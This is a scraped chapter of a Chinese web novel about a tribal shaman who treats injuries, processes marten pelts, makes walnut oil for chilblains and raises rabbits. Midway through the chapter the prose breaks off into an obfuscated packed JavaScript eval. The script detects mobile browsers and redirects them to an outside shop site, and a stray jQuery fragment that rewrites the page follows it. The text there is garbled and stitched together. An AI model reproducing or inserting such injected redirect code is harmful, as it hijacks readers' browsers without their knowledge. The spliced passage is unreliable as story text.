随着风雪越来越大,两个人也没办法说话了,就在他们以为今晚要在外过夜的时候,意外在一棵树上看到了部落系的绳结。
这个发现让他们兴奋起来,按照绳结的指示调整行进方向,这次他们可不敢分心,不能再走错了。
走到一半,阿成耳朵动了动,突然听到若有若无的骨哨声,他立刻衔起脖子上挂着的骨哨吹起来。
而坚则朝着哨声的来源走去。
这是他们部落常用的寻人手段,骨哨由凶兽骨头制成,十分坚固,同时吹出来的哨音传播距离极远。
渐渐的,两种哨音融合在一起,坚也看到了雄他们。
等他们回到山洞的时候,所有人都还没睡,看到狼狈的坚和阿成,米阮连忙把刚烧热的水倒进木盆里端过去给他们梳洗。
“这是怎么了?”他问。
坚把身上的雪拍掉,回答道:“我俩回来的时候认错方向了,阿成掉进一个坑里,幸好没受什么大伤,只是肩膀有点问题。”
说着他让阿成露出肩膀给巫看。
阿成的左肩膀有些发红肿胀,米阮洗干净手,轻轻摁压他的肩膀。
“哪里疼?有多疼?”
“就是您摁的这里有点疼。”阿成面不改色,好像这点疼痛对他来说不值一提。
米阮心里有数了,作为一个经常下墓,胳膊扭伤是常态的人来说,久病成良医,如果是其他病他可能还束手无策,但区区一个扭伤,简单!
他叫来阿山去山洞外取一盆雪,等化成凉水后,用皮毛沾湿敷在阿成扭伤的肩膀上。
“这会先冷敷,等明天这个时候换成热敷,大概两三天就能好全。”
米阮跟阿成说:“你这两天就先别用左手了,睡觉的时候也尽量不要压到左边。”
阿成觉得疼倒是没多疼,就是有点凉,冻得他肩膀都快没知觉了。
大概敷了二十分钟,米阮把盆里的水倒掉,回来的时候正好看到阿叶她们在处理貂鼠,便有些好奇的凑过去。
阿叶剥貂鼠皮颇有心得,她仅仅只是在肚皮上开一个小口,就把皮完整地剥下来了,没有一点损坏的地方,甚至还能再从剥口处给貂鼠穿回去。
被分离的貂鼠皮和貂鼠肉需要进行不同的处理,貂鼠皮清洗干净后,需要撒上草木灰做成的鞣液,用手一点点揉顺。
而貂鼠肉他们不吃,可能是因为所有的营养都用来供养皮毛了,貂鼠肉不仅干柴,还格外腥膻,就算是部落人再怎么不挑,也吃不下去。
之前他们会直接把貂鼠肉扔在森林里,供给其他不在意味道的动物们吃。
现在在米阮的建议下,一部分貂鼠肉剁碎留着给兔子加餐,一部分当作捕鱼的诱饵,剩下的就按照原来的方式进行处理。
坚他们回来得实在太晚了,幸好之前三个小队带回来的貂鼠已经提前处理好了,这会只需要处理他们带回来的十几只,不然很可能要通宵。
看着阿叶和水泉忙忙碌碌的样子,米阮和战士们也加入其中,但他们从没做过这项工作,不仅上手慢,还容易把貂鼠皮弄坏,只要稍微有一个破口,这张皮的价值就会降低很多。
见此,阿叶连忙阻止他们,“剥皮就让我和水泉来吧,你们负责清洗。”
这项工作比较简单,唯一需要注意的是,在清洗过程中得忍住寒冷。当然,这对战士们来说小菜一碟。
不过就算是这样,等他们把处理好的貂鼠皮挂在架子上的时候,也已经到半夜了,他们还从来没有这么晚睡过。
米阮早就被坚劝着躺到床上,甚至还没两分钟就睡着了。
第二天风雪已停。米阮醒过来的时候,石床上还有许多人在沉睡。
他打个哈欠坐起来,自从来到这个世界之后,他的睡眠质量好了不是一星半点,终于不用再被失眠困扰。
通过透过冰块窗户照进来的光亮,以及自己肚子的饥饿程度,米阮断定现在已经快到中午了,于是他伸个懒腰准备去洗漱。
洗漱完正好看到霞做了一锅汤,招呼他过来吃。
米阮捧着热乎乎的木碗,边喝边当作暖手宝。
霞跟他说:“貂鼠皮都处理好了,今天再把其他的处理一下就行。”
集市上最受欢迎的是貂鼠皮,其次是狼皮和鹿皮,这些皮毛的御寒能力比较强。
而松鼠皮和兔皮因为比较常见,用处也不大,所以在集市上换不来什么东西,他们一般就留下来自用。
至于熊皮,一般不会出现在集市上。
接下来又花费了半天的时间来处理皮毛,正当米阮处理完把它们都挂在架子上的时候,看到水泉捂着手表情痛苦。
“这是怎么了?”他问道。
水泉叹口气,露出手上一整片触目惊心的红肿创口,“每到冬天手都会变成这样,又疼又痒。”
米阮看了眼,立刻认出这是冻疮。他小时候在孤儿院,冬天也要不停干活,手上就会长冻疮,而且这个冻疮很难好,就算天热的时候看上去好了,但一到冬天就立刻会复发。
他以前可以去医院开药,而现在嘛…
米阮在脑子里过了下他们现在有的东西,看有没有是能够治疗或缓解冻疮的。
很快他想到一个东西,“你等一下。”
米阮从储藏室里翻出一个被兔皮包得紧紧的竹筒,打开盖子后里面装的是晶莹透亮,呈淡黄色的油状液体。
这是核桃油。
他们之前采集来的核桃,一部分被晒干,当成零嘴来吃,一部分用来做菜,剩下的则都榨成核桃油了。
核桃榨油并不难,他们现有的工具完全能满足,碾碎的核桃仁经石锅炒制、石磨压榨、静置沉淀后,上层液体就是最原始的核桃油。
他记得核桃油除了能吃以外,还能治疗冻疮。
米阮把核桃油倒出来抹在水泉的手上,然后轻轻按摩。
见基本都吸收了便叮嘱道:“最近先不要碰水了,等手上的油干掉之后再来涂一次,会好受很多。”
水泉把米阮的话记在心里。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14012889|148620||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
让水泉先去休息,米阮又问了问其他人,发现部落里有三分之二的人身上都长着冻疮,有的在手上,有的在腿上,甚至有个幼崽的冻疮长在脸上,看上去红通通一片,他不时挠一挠。
“别挠。”米阮拉住阿蒙的手,把核桃油涂在他脸上轻轻按摩。
“现在还痒吗?”他问。
阿蒙认真感受了下,惊喜地说:“真的不痒了诶!”
米阮叮嘱他千万别挠,如果实在痒得不行就烧点热水泡一泡,不然容易留下疤痕。
这一小桶核桃油分出去后就剩个底了,为了避免不够用,米阮趁有空开始热锅炒核桃。
幸好核桃仁还有很多。
炒核桃也是个技术活,如何在炒干的同时不炒焦呢?主要是看经验,当然米阮是没这个经验的,他只能提前关火,宁愿没炒到最干,也不能炒焦。
炒干的核桃在石磨里一碾就碎,经过静置就完成了核桃油的制作。
做好的核桃油放在山洞里,方便他们按时涂抹。
你别说,这个核桃油用来治疗冻疮还真挺好用,虽然没能根治,但是又疼又痒的症状减轻不少,原本红肿的创口也慢慢恢复了原本的颜色。
时间一天一天的过去。
这天,阿叶叫住正准备去给兔子喂食的米阮。
“巫,您过来试试这个鹿皮手套。”
米阮闻言暂时把喂食这事抛之脑后,先接过手套仔细打量。
这个手套以现代的眼光来看,是很粗糙的,但是按照他们现在连根线都没有的实际情况,能用骨针和草线缝成这样,阿叶绝对是用心了。
整个手套是红棕色的,大概是用了两到三张松鼠皮,接口处有用草线缝合的迹象,说不上美观,也说不上耐用,因为草线很容易烂。
但草线也容易获得,回头烂了,穿上新的就行。
米阮把手伸进去,大小刚刚好,毕竟阿叶在缝制之前比划过他的手掌大小和手指长短。
阿叶见状点点头,“您戴着正好。”
有了这个手套,回头出去采集的时候,再不用担心手指被扎破,米阮郑重地把它收起来。
然后他突然想起来兔子还没喂,赶紧跑去石室。
此时一公一母两只兔子正依偎在一起,两只兔子被养得油光水滑,比刚来的时候大了一圈还是。
?现在能够很轻松地分辨出哪只是公,哪只是母,因为母兔子的腹部已经明显肥了一圈。
米阮把干草放到笼子的石槽里,然后又把之前榨核桃油过滤出来的核桃渣放进去,这个兔子们也能吃,正好不浪费还能补充营养。
兔子们吧唧着嘴吃干草,核桃渣它们也不嫌弃,就这么一小会的功夫,食槽里的干草就消失了一大半。
米阮记得兔子的繁殖能力特别强,一方面母兔子每个月都会发情一次,另一方面母兔子不仅怀孕时间短,而且一窝能生4-12只幼崽。
只要生个四五次,他们就会获得一大群兔子,想怎么吃就怎么吃!